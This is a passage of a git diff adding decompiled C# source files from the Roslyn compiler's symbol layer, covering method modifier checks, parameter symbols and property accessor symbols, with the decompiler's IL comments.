(DeclarationModifiers)(((uint)mods & 0xFFFFFC0Fu) | 0x100); + } + return mods; + } + + private void CheckModifiers(bool isExplicitInterfaceImplementation, Location location, BindingDiagnosticBag diagnostics) + { + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Invalid comparison between Unknown and I4 + //IL_01b8: Unknown result type (might be due to invalid IL or missing references) + //IL_01bf: Invalid comparison between Unknown and I4 + //IL_02b0: Unknown result type (might be due to invalid IL or missing references) + //IL_02b7: Invalid comparison between Unknown and I4 + //IL_0287: Unknown result type (might be due to invalid IL or missing references) + //IL_02e5: Unknown result type (might be due to invalid IL or missing references) + //IL_02ec: Invalid comparison between Unknown and I4 + //IL_034f: Unknown result type (might be due to invalid IL or missing references) + //IL_0355: Invalid comparison between Unknown and I4 + //IL_035d: Unknown result type (might be due to invalid IL or missing references) + //IL_0364: Invalid comparison between Unknown and I4 + //IL_0429: Unknown result type (might be due to invalid IL or missing references) + bool isVararg = IsVararg; + bool flag = isExplicitInterfaceImplementation && ContainingType.IsInterface; + if (base.IsPartial && HasExplicitAccessModifier) + { + Binder.CheckFeatureAvailability((SyntaxNode)(object)SyntaxNode, MessageID.IDS_FeatureExtendedPartialMethods, diagnostics, location); + } + if (base.IsPartial && IsAbstract) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodInvalidModifier, location); + } + else if (base.IsPartial && !HasExplicitAccessModifier && !ReturnsVoid) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodWithNonVoidReturnMustHaveAccessMods, location, this); + } + else if (base.IsPartial && !HasExplicitAccessModifier && HasExtendedPartialModifier) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodWithExtendedModMustHaveAccessMods, location, this); + } + else if (base.IsPartial && !HasExplicitAccessModifier && Parameters.Any((ParameterSymbol p) => (int)p.RefKind == 2)) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodWithOutParamMustHaveAccessMods, location, this); + } + else if ((int)DeclaredAccessibility == 1 && (IsVirtual || (IsAbstract && !flag) || IsOverride)) + { + diagnostics.Add(ErrorCode.ERR_VirtualPrivate, location, this); + } + else if (IsOverride && (base.IsNew || IsVirtual)) + { + diagnostics.Add(ErrorCode.ERR_OverrideNotNew, location, this); + } + else if (IsSealed && !IsOverride && (!flag || !IsAbstract)) + { + diagnostics.Add(ErrorCode.ERR_SealedNonOverride, location, this); + } + else if (IsSealed && (int)ContainingType.TypeKind == 10) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, location, SyntaxFacts.GetText(SyntaxKind.SealedKeyword)); + } + else if (base.ReturnType.IsStatic) + { + diagnostics.Add(ErrorFacts.GetStaticClassReturnCode(ContainingType.IsInterfaceType()), location, base.ReturnType); + } + else if (IsAbstract && IsExtern) + { + diagnostics.Add(ErrorCode.ERR_AbstractAndExtern, location, this); + } + else if (IsAbstract && IsSealed && !flag) + { + diagnostics.Add(ErrorCode.ERR_AbstractAndSealed, location, this); + } + else if (IsAbstract && IsVirtual) + { + diagnostics.Add(ErrorCode.ERR_AbstractNotVirtual, location, Kind.Localize(), this); + } + else if (IsAbstract && (int)ContainingType.TypeKind == 10) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, location, SyntaxFacts.GetText(SyntaxKind.AbstractKeyword)); + } + else if (IsVirtual && (int)ContainingType.TypeKind == 10) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, location, SyntaxFacts.GetText(SyntaxKind.VirtualKeyword)); + } + else if (IsStatic && IsDeclaredReadOnly) + { + diagnostics.Add(ErrorCode.ERR_StaticMemberCantBeReadOnly, location, this); + } + else if (IsAbstract && !ContainingType.IsAbstract && ((int)ContainingType.TypeKind == 2 || (int)ContainingType.TypeKind == 12)) + { + diagnostics.Add(ErrorCode.ERR_AbstractInConcreteClass, location, this, ContainingType); + } + else if (IsVirtual && ContainingType.IsSealed) + { + diagnostics.Add(ErrorCode.ERR_NewVirtualInSealed, location, this, ContainingType); + } + else if (!HasAnyBody && IsAsync) + { + diagnostics.Add(ErrorCode.ERR_BadAsyncLacksBody, location); + } + else if (!HasAnyBody && !IsExtern && !IsAbstract && !base.IsPartial && !base.IsExpressionBodied) + { + diagnostics.Add(ErrorCode.ERR_ConcreteMissingBody, location, this); + } + else if (ContainingType.IsSealed && DeclaredAccessibility.HasProtected() && !IsOverride) + { + diagnostics.Add(AccessCheck.GetProtectedMemberInSealedTypeError(ContainingType), location, this); + } + else if (ContainingType.IsStatic && !IsStatic) + { + diagnostics.Add(ErrorCode.ERR_InstanceMemberInStaticClass, location, Name); + } + else if (isVararg && (IsGenericMethod || ContainingType.IsGenericType || (Parameters.Length > 0 && Parameters[Parameters.Length - 1].IsParams))) + { + diagnostics.Add(ErrorCode.ERR_BadVarargs, location); + } + else if (isVararg && IsAsync) + { + diagnostics.Add(ErrorCode.ERR_VarargsAsync, location); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodSymbolBase.cs new file mode 100644 index 0000000..6679f85 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOrdinaryMethodSymbolBase.cs @@ -0,0 +1,72 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceOrdinaryMethodSymbolBase : SourceOrdinaryMethodOrUserDefinedOperatorSymbol +{ + private readonly string _name; + + public abstract override ImmutableArray TypeParameters { get; } + + public override string Name => _name; + + protected abstract override SourceMemberMethodSymbol BoundAttributesSource { get; } + + protected SourceOrdinaryMethodSymbolBase(NamedTypeSymbol containingType, string name, Location location, CSharpSyntaxNode syntax, bool isIterator, (DeclarationModifiers declarationModifiers, Flags flags) modifiersAndFlags) + : base(containingType, syntax.GetReference(), location, isIterator, modifiersAndFlags) + { + _name = name; + } + + protected sealed override void LazyAsyncMethodChecks(CancellationToken cancellationToken) + { + if (!IsAsync) + { + CompleteAsyncMethodChecks(null, cancellationToken); + return; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + AsyncMethodChecks(instance); + CompleteAsyncMethodChecks(instance, cancellationToken); + ((BindingDiagnosticBag)(object)instance).Free(); + } + + private void CompleteAsyncMethodChecks(BindingDiagnosticBag diagnosticsOpt, CancellationToken cancellationToken) + { + if (state.NotePartComplete(CompletionPart.Members)) + { + if (diagnosticsOpt != null) + { + AddDeclarationDiagnostics(diagnosticsOpt); + } + CompleteAsyncMethodChecksBetweenStartAndFinish(); + state.NotePartComplete(CompletionPart.TypeMembers); + } + else + { + state.SpinWaitComplete(CompletionPart.TypeMembers, cancellationToken); + } + } + + protected abstract void CompleteAsyncMethodChecksBetweenStartAndFinish(); + + public abstract override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)); + + internal abstract override OneOrMany> GetAttributeDeclarations(); + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + if (IsExtensionMethod) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)111)); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOverridingMethodTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOverridingMethodTypeParameterSymbol.cs new file mode 100644 index 0000000..0c185b2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceOverridingMethodTypeParameterSymbol.cs @@ -0,0 +1,95 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceOverridingMethodTypeParameterSymbol : SourceTypeParameterSymbolBase +{ + private readonly OverriddenMethodTypeParameterMapBase _map; + + public SourceOrdinaryMethodSymbol Owner => _map.OverridingMethod; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)1; + + public override Symbol ContainingSymbol => Owner; + + public override bool HasConstructorConstraint => OverriddenTypeParameter?.HasConstructorConstraint ?? false; + + public override bool HasValueTypeConstraint => OverriddenTypeParameter?.HasValueTypeConstraint ?? false; + + public override bool IsValueTypeFromConstraintTypes + { + get + { + TypeParameterSymbol overriddenTypeParameter = OverriddenTypeParameter; + if ((object)overriddenTypeParameter != null) + { + if (!overriddenTypeParameter.IsValueTypeFromConstraintTypes) + { + return TypeParameterSymbol.CalculateIsValueTypeFromConstraintTypes(base.ConstraintTypesNoUseSiteDiagnostics); + } + return true; + } + return false; + } + } + + public override bool HasReferenceTypeConstraint => OverriddenTypeParameter?.HasReferenceTypeConstraint ?? false; + + public override bool IsReferenceTypeFromConstraintTypes + { + get + { + TypeParameterSymbol overriddenTypeParameter = OverriddenTypeParameter; + if ((object)overriddenTypeParameter != null) + { + if (!overriddenTypeParameter.IsReferenceTypeFromConstraintTypes) + { + return TypeParameterSymbol.CalculateIsReferenceTypeFromConstraintTypes(base.ConstraintTypesNoUseSiteDiagnostics); + } + return true; + } + return false; + } + } + + internal override bool? ReferenceTypeConstraintIsNullable + { + get + { + TypeParameterSymbol overriddenTypeParameter = OverriddenTypeParameter; + if ((object)overriddenTypeParameter == null) + { + return false; + } + return overriddenTypeParameter.ReferenceTypeConstraintIsNullable; + } + } + + public override bool HasNotNullConstraint => OverriddenTypeParameter?.HasNotNullConstraint ?? false; + + internal override bool? IsNotNullable => OverriddenTypeParameter?.IsNotNullable; + + public override bool HasUnmanagedTypeConstraint => OverriddenTypeParameter?.HasUnmanagedTypeConstraint ?? false; + + protected override ImmutableArray ContainerTypeParameters => Owner.TypeParameters; + + private TypeParameterSymbol OverriddenTypeParameter => _map.GetOverriddenTypeParameter(Ordinal); + + public SourceOverridingMethodTypeParameterSymbol(OverriddenMethodTypeParameterMapBase map, string name, int ordinal, ImmutableArray locations, ImmutableArray syntaxRefs) + : base(name, ordinal, locations, syntaxRefs) + { + _map = map; + } + + protected override TypeParameterBounds ResolveBounds(ConsList inProgress, BindingDiagnosticBag diagnostics) + { + TypeParameterSymbol overriddenTypeParameter = OverriddenTypeParameter; + if ((object)overriddenTypeParameter == null) + { + return null; + } + ImmutableArray constraintTypes = _map.TypeMap.SubstituteTypes(overriddenTypeParameter.ConstraintTypesNoUseSiteDiagnostics); + return this.ResolveBounds(ContainingAssembly.CorLibrary, ConsListExtensions.Prepend(inProgress, (TypeParameterSymbol)this), constraintTypes, inherited: true, DeclaringCompilation, diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceParameterSymbol.cs new file mode 100644 index 0000000..c3d49f9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceParameterSymbol.cs @@ -0,0 +1,206 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceParameterSymbol : SourceParameterSymbolBase +{ + protected SymbolCompletionState state; + + protected readonly TypeWithAnnotations parameterType; + + private readonly string _name; + + private readonly Location? _location; + + private readonly RefKind _refKind; + + private readonly ScopedKind _scope; + + internal sealed override bool RequiresCompletion => true; + + internal abstract bool HasOptionalAttribute { get; } + + internal abstract bool HasDefaultArgumentSyntax { get; } + + internal abstract SyntaxList AttributeDeclarationList { get; } + + internal abstract SyntaxReference SyntaxReference { get; } + + internal abstract bool IsExtensionMethodThis { get; } + + public sealed override RefKind RefKind => _refKind; + + internal ScopedKind DeclaredScope => _scope; + + internal abstract override ScopedKind EffectiveScope { get; } + + internal sealed override bool UseUpdatedEscapeRules => ContainingModule.UseUpdatedEscapeRules; + + public sealed override string Name => _name; + + public sealed override ImmutableArray Locations + { + get + { + if (_location != null) + { + return ImmutableArray.Create(_location); + } + return ImmutableArray.Empty; + } + } + + public sealed override ImmutableArray DeclaringSyntaxReferences + { + get + { + if (!IsImplicitlyDeclared) + { + return Symbol.GetDeclaringSyntaxReferenceHelper(Locations); + } + return ImmutableArray.Empty; + } + } + + public sealed override TypeWithAnnotations TypeWithAnnotations => parameterType; + + public override bool IsImplicitlyDeclared + { + get + { + if (ContainingSymbol is MethodSymbol methodSymbol) + { + return methodSymbol.IsAccessor(); + } + return false; + } + } + + internal override bool IsMetadataIn + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + RefKind refKind = RefKind; + if (refKind - 3 <= 1) + { + return true; + } + return false; + } + } + + internal override bool IsMetadataOut => (int)RefKind == 2; + + public static SourceParameterSymbol Create(Binder context, Symbol owner, TypeWithAnnotations parameterType, ParameterSyntax syntax, RefKind refKind, SyntaxToken identifier, int ordinal, bool isParams, bool isExtensionMethodThis, bool addRefReadOnlyModifier, ScopedKind scope, BindingDiagnosticBag declarationDiagnostics) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Expected O, but got Unknown + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + SourceLocation location = new SourceLocation(ref identifier); + if (isParams) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(context.Compilation, (WellKnownMember)63, declarationDiagnostics, ((SyntaxToken)(ref identifier)).Parent.GetLocation()); + } + ImmutableArray refCustomModifiers = ParameterHelpers.ConditionallyCreateInModifiers(refKind, addRefReadOnlyModifier, context, declarationDiagnostics, (SyntaxNode)(object)syntax); + if (!refCustomModifiers.IsDefaultOrEmpty) + { + return new SourceComplexParameterSymbolWithCustomModifiersPrecedingRef(owner, ordinal, parameterType, refKind, refCustomModifiers, valueText, (Location)(object)location, syntax.GetReference(), isParams, isExtensionMethodThis, scope); + } + if (!isParams && !isExtensionMethodThis && syntax.Default == null && syntax.AttributeLists.Count == 0 && !owner.IsPartialMethod()) + { + return new SourceSimpleParameterSymbol(owner, parameterType, ordinal, refKind, scope, valueText, (Location?)(object)location); + } + return new SourceComplexParameterSymbol(owner, ordinal, parameterType, refKind, valueText, (Location)(object)location, syntax.GetReference(), isParams, isExtensionMethodThis, scope); + } + + protected SourceParameterSymbol(Symbol owner, TypeWithAnnotations parameterType, int ordinal, RefKind refKind, ScopedKind scope, string name, Location location) + : base(owner, ordinal) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + this.parameterType = parameterType; + _refKind = refKind; + _scope = scope; + _name = name; + _location = location; + } + + internal override ParameterSymbol WithCustomModifiersAndParams(TypeSymbol newType, ImmutableArray newCustomModifiers, ImmutableArray newRefCustomModifiers, bool newIsParams) + { + return WithCustomModifiersAndParamsCore(newType, newCustomModifiers, newRefCustomModifiers, newIsParams); + } + + internal SourceParameterSymbol WithCustomModifiersAndParamsCore(TypeSymbol newType, ImmutableArray newCustomModifiers, ImmutableArray newRefCustomModifiers, bool newIsParams) + { + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + newType = CustomModifierUtils.CopyTypeCustomModifiers(newType, base.Type, ContainingAssembly); + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations.WithTypeAndModifiers(newType, newCustomModifiers); + if (newRefCustomModifiers.IsEmpty) + { + return new SourceComplexParameterSymbol(ContainingSymbol, Ordinal, typeWithAnnotations, _refKind, _name, _location, SyntaxReference, newIsParams, IsExtensionMethodThis, DeclaredScope); + } + return new SourceComplexParameterSymbolWithCustomModifiersPrecedingRef(ContainingSymbol, Ordinal, typeWithAnnotations, _refKind, newRefCustomModifiers, _name, _location, SyntaxReference, newIsParams, IsExtensionMethodThis, DeclaredScope); + } + + internal sealed override bool HasComplete(CompletionPart part) + { + return state.HasComplete(part); + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + state.DefaultForceComplete(this, cancellationToken); + } + + internal abstract CustomAttributesBag GetAttributesBag(); + + public sealed override ImmutableArray GetAttributes() + { + return GetAttributesBag().Attributes; + } + + internal override void AddDeclarationDiagnostics(BindingDiagnosticBag diagnostics) + { + ContainingSymbol.AddDeclarationDiagnostics(diagnostics); + } + + protected ScopedKind CalculateEffectiveScopeIgnoringAttributes() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ScopedKind declaredScope = DeclaredScope; + if ((int)declaredScope != 0 || !ParameterHelpers.IsRefScopedByDefault(this)) + { + return declaredScope; + } + return (ScopedKind)1; + } + + public override Location? TryGetFirstLocation() + { + return _location; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceParameterSymbolBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceParameterSymbolBase.cs new file mode 100644 index 0000000..c05c375 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceParameterSymbolBase.cs @@ -0,0 +1,111 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceParameterSymbolBase : ParameterSymbol +{ + private readonly Symbol _containingSymbol; + + private readonly ushort _ordinal; + + public sealed override int Ordinal => _ordinal; + + public sealed override Symbol ContainingSymbol => _containingSymbol; + + public sealed override AssemblySymbol ContainingAssembly => _containingSymbol.ContainingAssembly; + + internal abstract ConstantValue DefaultValueFromAttributes { get; } + + public SourceParameterSymbolBase(Symbol containingSymbol, int ordinal) + { + _ordinal = (ushort)ordinal; + _containingSymbol = containingSymbol; + } + + public sealed override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + if ((object)obj == this) + { + return true; + } + if (obj is NativeIntegerParameterSymbol nativeIntegerParameterSymbol) + { + return nativeIntegerParameterSymbol.Equals(this, compareKind); + } + if (obj is SourceParameterSymbolBase sourceParameterSymbolBase && sourceParameterSymbolBase.Ordinal == Ordinal) + { + return sourceParameterSymbolBase._containingSymbol.Equals(_containingSymbol, compareKind); + } + return false; + } + + public sealed override int GetHashCode() + { + return Hash.Combine(_containingSymbol.GetHashCode(), Ordinal); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Invalid comparison between Unknown and I4 + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Invalid comparison between Unknown and I4 + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Invalid comparison between Unknown and I4 + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + if (IsParams) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)63)); + } + ConstantValue explicitDefaultConstantValue = ExplicitDefaultConstantValue; + if (explicitDefaultConstantValue != (ConstantValue)null && (int)explicitDefaultConstantValue.SpecialType == 17 && DefaultValueFromAttributes == (ConstantValue)null) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDecimalConstantAttribute(explicitDefaultConstantValue.DecimalValue)); + } + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations; + if (typeWithAnnotations.Type.ContainsDynamic()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDynamicAttribute(typeWithAnnotations.Type, typeWithAnnotations.CustomModifiers.Length + RefCustomModifiers.Length, RefKind)); + } + if (declaringCompilation.ShouldEmitNativeIntegerAttributes(typeWithAnnotations.Type)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNativeIntegerAttribute(this, typeWithAnnotations.Type)); + } + if (ParameterHelpers.RequiresScopedRefAttribute(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeScopedRefAttribute(this, EffectiveScope)); + } + if (typeWithAnnotations.Type.ContainsTupleNames()) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeTupleNamesAttribute(typeWithAnnotations.Type)); + } + RefKind refKind = RefKind; + if ((int)refKind != 3) + { + if ((int)refKind == 4) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeRequiresLocationAttribute(this)); + } + } + else + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeIsReadOnlyAttribute(this)); + } + if (declaringCompilation.ShouldEmitNullableAttributes(this)) + { + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullableAttributeIfNecessary(this, GetNullableContextValue(), typeWithAnnotations)); + } + } + + internal abstract ParameterSymbol WithCustomModifiersAndParams(TypeSymbol newType, ImmutableArray newCustomModifiers, ImmutableArray newRefCustomModifiers, bool newIsParams); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertyAccessorSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertyAccessorSymbol.cs new file mode 100644 index 0000000..25c3c13 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourcePropertyAccessorSymbol.cs @@ -0,0 +1,582 @@ +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SourcePropertyAccessorSymbol : SourceMemberMethodSymbol +{ + private readonly SourcePropertySymbolBase _property; + + private ImmutableArray _lazyParameters; + + private TypeWithAnnotations _lazyReturnType; + + private ImmutableArray _lazyRefCustomModifiers; + + private ImmutableArray _lazyExplicitInterfaceImplementations; + + private string _lazyName; + + private readonly bool _isAutoPropertyAccessor; + + private readonly bool _usesInit; + + internal sealed override ImmutableArray NotNullMembers => ImmutableArrayExtensions.Concat(_property.NotNullMembers, base.NotNullMembers); + + internal sealed override ImmutableArray NotNullWhenTrueMembers => ImmutableArrayExtensions.Concat(_property.NotNullWhenTrueMembers, base.NotNullWhenTrueMembers); + + internal sealed override ImmutableArray NotNullWhenFalseMembers => ImmutableArrayExtensions.Concat(_property.NotNullWhenFalseMembers, base.NotNullWhenFalseMembers); + + public sealed override Accessibility DeclaredAccessibility + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + Accessibility localAccessibility = LocalAccessibility; + if ((int)localAccessibility != 0) + { + return localAccessibility; + } + return _property.DeclaredAccessibility; + } + } + + public sealed override Symbol AssociatedSymbol => _property; + + public sealed override bool ReturnsVoid => base.ReturnType.IsVoidType(); + + public sealed override ImmutableArray Parameters + { + get + { + LazyMethodChecks(); + return _lazyParameters; + } + } + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public sealed override TypeWithAnnotations ReturnTypeWithAnnotations + { + get + { + LazyMethodChecks(); + return _lazyReturnType; + } + } + + public sealed override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)MethodKind == 12) + { + return FlowAnalysisAnnotations.None; + } + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + if (_property.HasMaybeNull) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.MaybeNull; + } + if (_property.HasNotNull) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.NotNull; + } + return flowAnalysisAnnotations; + } + } + + public sealed override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public sealed override ImmutableArray RefCustomModifiers + { + get + { + LazyMethodChecks(); + return _lazyRefCustomModifiers; + } + } + + internal Accessibility LocalAccessibility => ModifierUtils.EffectiveAccessibility(DeclarationModifiers); + + internal bool LocalDeclaredReadOnly => (DeclarationModifiers & DeclarationModifiers.ReadOnly) != 0; + + internal sealed override bool IsDeclaredReadOnly + { + get + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Invalid comparison between Unknown and I4 + if (LocalDeclaredReadOnly || (_property.HasReadOnlyModifier && base.IsValidReadOnlyTarget)) + { + return true; + } + if (!((CSharpParseOptions)(object)base.SyntaxTree.Options).IsFeatureEnabled(MessageID.IDS_FeatureReadOnlyMembers)) + { + return false; + } + if (!(DeclaringCompilation.GetWellKnownTypeMember((WellKnownMember)394) != null) && ((int)((CompilationOptions)DeclaringCompilation.Options).OutputKind == 3 || !(DeclaringCompilation.GetWellKnownType((WellKnownType)270) is MissingMetadataTypeSymbol))) + { + return false; + } + if (ContainingType.IsStructType() && !_property.IsStatic && _isAutoPropertyAccessor) + { + return (int)MethodKind == 11; + } + return false; + } + } + + internal sealed override bool IsInitOnly + { + get + { + if (!IsStatic) + { + return _usesInit; + } + return false; + } + } + + internal sealed override bool IsExplicitInterfaceImplementation => _property.IsExplicitInterfaceImplementation; + + public sealed override ImmutableArray ExplicitInterfaceImplementations + { + get + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + if (_lazyExplicitInterfaceImplementations.IsDefault) + { + PropertySymbol propertySymbol = (IsExplicitInterfaceImplementation ? _property.ExplicitInterfaceImplementations.FirstOrDefault() : null); + ImmutableArray value; + if ((object)propertySymbol == null) + { + value = ImmutableArray.Empty; + } + else + { + MethodSymbol methodSymbol = (((int)MethodKind == 11) ? propertySymbol.GetMethod : propertySymbol.SetMethod); + value = (((object)methodSymbol == null) ? ImmutableArray.Empty : ImmutableArray.Create(methodSymbol)); + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyExplicitInterfaceImplementations, value); + } + return _lazyExplicitInterfaceImplementations; + } + } + + public sealed override string Name + { + get + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + if (_lazyName == null) + { + bool flag = (int)MethodKind == 11; + string text = null; + if (IsExplicitInterfaceImplementation) + { + PropertySymbol propertySymbol = _property.ExplicitInterfaceImplementations.FirstOrDefault(); + if ((object)propertySymbol != null) + { + MethodSymbol methodSymbol = (flag ? propertySymbol.GetMethod : propertySymbol.SetMethod); + text = ExplicitInterfaceHelpers.GetMemberName(((object)methodSymbol != null) ? methodSymbol.Name : GetAccessorName(propertySymbol.MetadataName, flag, _property.IsCompilationOutputWinMdObj()), aliasQualifierOpt: _property.GetExplicitInterfaceSpecifier()?.Name.GetAliasQualifierOpt(), explicitInterfaceTypeOpt: propertySymbol.ContainingType); + } + } + else if (IsOverride) + { + MethodSymbol overriddenMethod = base.OverriddenMethod; + if ((object)overriddenMethod != null) + { + text = overriddenMethod.Name; + } + } + if (text == null) + { + text = GetAccessorName(_property.SourceName, flag, 